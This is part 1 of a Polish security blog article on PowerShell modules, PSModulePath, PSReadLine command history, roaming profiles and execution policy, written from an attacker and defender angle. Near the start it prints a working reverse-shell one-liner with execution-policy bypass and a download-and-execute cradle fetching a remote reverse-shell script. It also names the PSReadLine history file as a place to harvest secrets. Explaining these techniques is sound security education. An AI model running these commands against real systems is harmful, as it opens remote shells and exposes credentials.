Moduły PowerShell – wsparcie leniwego admina czy szwajcarski scyzoryk hakera - część 1

25.10.2022 | Bartosz Chałek

Wstęp

Jeżeli istnieje administrator, który nigdy niczego nie zautomatyzował na komputerze, niech pierwszy rzuci kamieniem! Możliwości powershella są prawie nieograniczone – od lat przekonują się o tym administratorzy i hakerzy na całym świecie. Całkowita jego eliminacja w organizacji jest bardzo trudna lub wręcz niemożliwa – każdy zespół blue team ma z powershellem niemałą zagwozdkę.

 

Zacznijmy od początku

Zespoły red i blue bez przerwy prześcigają się w wykorzystywaniu powershella, czy to do ataku i ukrycia swojej obecności w systemie,  wykrywania zagrożeń czy też  monitoringu systemów. Wystarczy zerknąć na repozytoria github’a. Można znaleźć tam ponad 76 tysięcy repozytoriów z językiem oznaczonym jako powershell. 

Źródło: https://github.com/search?q=language%3APowerShell&type=repositories, data dostępu: 2022-07-19

 

Przykłady użycia powershella w automatyzacji

Jako atakujący, możemy wykorzystać powershella praktycznie w każdej fazie ataku -  np. rozpoczynając od próby zestawienia prostego revershella używając poniższej komendy

powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.0.0.1",4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

 

Możemy też łatwo pobrać i uruchomić dowolny skrypt z internetu:

powershell IEX (New-Object Net.WebClient).DownloadString('https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1')

 

Dodatkowo, jeżeli mamy jakiś prosty kod w C#, Jscript albo VisualBasic, to możemy go łatwo uruchomić dynamicznie w pamięci:

Źródło: opracowanie własne

 

Wystarczy uruchomić PowerShell ISE i spojrzeć na listę dostępnych komend, żeby zobaczyć jak gigantyczne możliwości daje to (standardowo zainstalowane w każdym Windowsie) narzędzie.

 

PowerShell nie tylko w powershellu

Co ciekawe, cała logika powershella znajduje się w bibliotece systemowej System.Management.Automation.dll, co oznacza że każde z tych poleceń można też uruchomić bez wyzwalania procesu powershell.exe, a np. za pomocą własnego kodu:

Źródło: opracowanie własne

 

Po kompilacji i uruchomieniu aplikacji, uzyskujemy wykonanie komendy powershella bez uruchomienia procesu powershell.exe. 

Źródło: opracowanie własne

 

Z biblioteki tej korzystają też inne aplikacje wbudowane w systemie:

Źródło: opracowanie własne

 

W artykule tym skupimy się nad pewną funkcjonalnością powershella, która rzadko jest opisywana jako jakiekolwiek zagrożenie. 

 

Moduły? Co to jest?

Strona Microsoft opisuje moduły jak niżej:

Źródło: https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_modules?view=powershell-7.2, data dostępu: 2022-07-19

 

W skrócie są to paczki zawierające określone funkcje lub operacje, które mogą  być przygotowane w formie skryptów oraz plików DLL.

 

Pytanie po co?

Tak jak w przypadku jakiegokolwiek systemu pakietów – pozwalają one na implementację zastawu funkcji, a następnie łatwe ich przenoszenie między różnymi środowiskami/serwerami itp.

W sieci można znaleźć wiele tutoriali opisujących sposób utworzenia własnego modułu - link. 

Chcesz stworzyć własny konwerter tekstu do ROT 13, a następnie używać go w wielu różnych skryptach? Stwórz moduł zawierający taką konwersję, a następnie wczytaj go w każdym ze skryptów.

Istnieje nawet specjalna strona zawierająca dostępne do pobrania skrypty i moduły - link. 

 

Jak to działa?

Za pomocą komendy Get-Module –ListAvailable, mamy możliwość pobrania wszystkich aktualnie dostępnych modułów zainstalowanych w systemie:

Źródło: opracowanie własne

 

Następnie za pomocą komendy Import-Module należy załadować taki moduł. To pozwoli w pełni korzystać z wszystkich funkcji w nim dostępnych. Lista lokalizacji, z których pobierane są moduły znajduje się w zmiennej środowiskowej PSModulePath:

Źródło: opracowanie własne

 

Domyślnie lista zawiera katalogi:

  • li>%USERPROFILE%\Documents\WindowsPowerShell\Modules
  • C:\Program Files\WindowsPowerShell\Modules
  • C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules

 

Modułem, który jest ciekawy z punktu bezpieczeństwa,  jest moduł PSReadLine,który zapisuje historię komend wydanych przez użytkownika w katalogu - link: 

$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine

Dla atakującego jest to swoisty .bash_history powershella, z którego czasami można wyciągnąć bardzo ciekawe informacje. Dodatkowym udogodnieniem jest fakt, że moduł ten jest wczytywany automatycznie w momencie interaktywnego uruchomienia konsoli. Zgodnie z opisem z powyższej strony, ładuje się on również w przypadku uruchomienia konsoli Visual Studio Code.

Szybki rzut okiem w systemie pozwala na określenie gdzie ten moduł się znajduje:

Źródło: opracowanie własne

 

Źródło: opracowanie własne

 

Źródło: opracowanie własne

 

Wykorzystanie modułów w organizacji

Już z wcześniejszego opisu można zauważyć ciekawą rzecz, zmienna środowiskowa PSModulePath zawiera katalog: %USERPROFILE%\Documents\WindowsPowerShell\Modules

Częstą praktyką w organizacjach jest tworzenie profilu sieciowego pozwalającego na łatwe przenoszenie profilu użytkownika między wieloma komputerami – zwłaszcza jeśli chodzi o dokumenty użytkownika.

Po wykonaniu powyższego działania, możemy jako użytkownik zaimplementować moduł raz, a następnie używać go w skryptach na każdym komputerze, na którym się zalogujemy, bez konieczności przesyłania go na ten serwer. Wystarczy zsynchronizować profil użytkownika.

Osobie zajmującej się bezpieczeństwem może się zapalić malutka, czerwona lampka – czy to oznacza że można wraz z użytkownikiem przeskakiwać na kolejne systemy?

Odpowiedź brzmi: Tak – ale jak wcześniej widzieliśmy użytkownik musi świadomie taki moduł zaimportować i użyć na danym serwerze.

 

Execution Policy w obronie użytkownika

Przeglądając katalog %USERPROFILE%\Documents\WindowsPowerShell\ można zauważyć inne pliki, które przenoszą się wraz z profilem użytkownika między serwerami:

Źródło: opracowanie własne

 

Pliki te pozwalają na wykonanie dowolnych automatycznych akcji dostosowujących konsole powershella przy każdym uruchomieniu – jednak są one domyślnie blokowane przez polityki uruchomienia:

Źródło: opracowanie własne

 

W celu ich włączenia, konieczne jest uruchomienie konsoli powershella z flagą ExecutionPolicy Bypass.

 

Podsumowanie

Nie jest to więc dobry sposób na dodanie naszego importu modułów. Szczególnie jeśli jako atakujący chcemy żeby użytkownik nie był świadom ataku. Jakie więc mamy opcje? O tym wszystkim przeczytasz w drugiej części artykułu.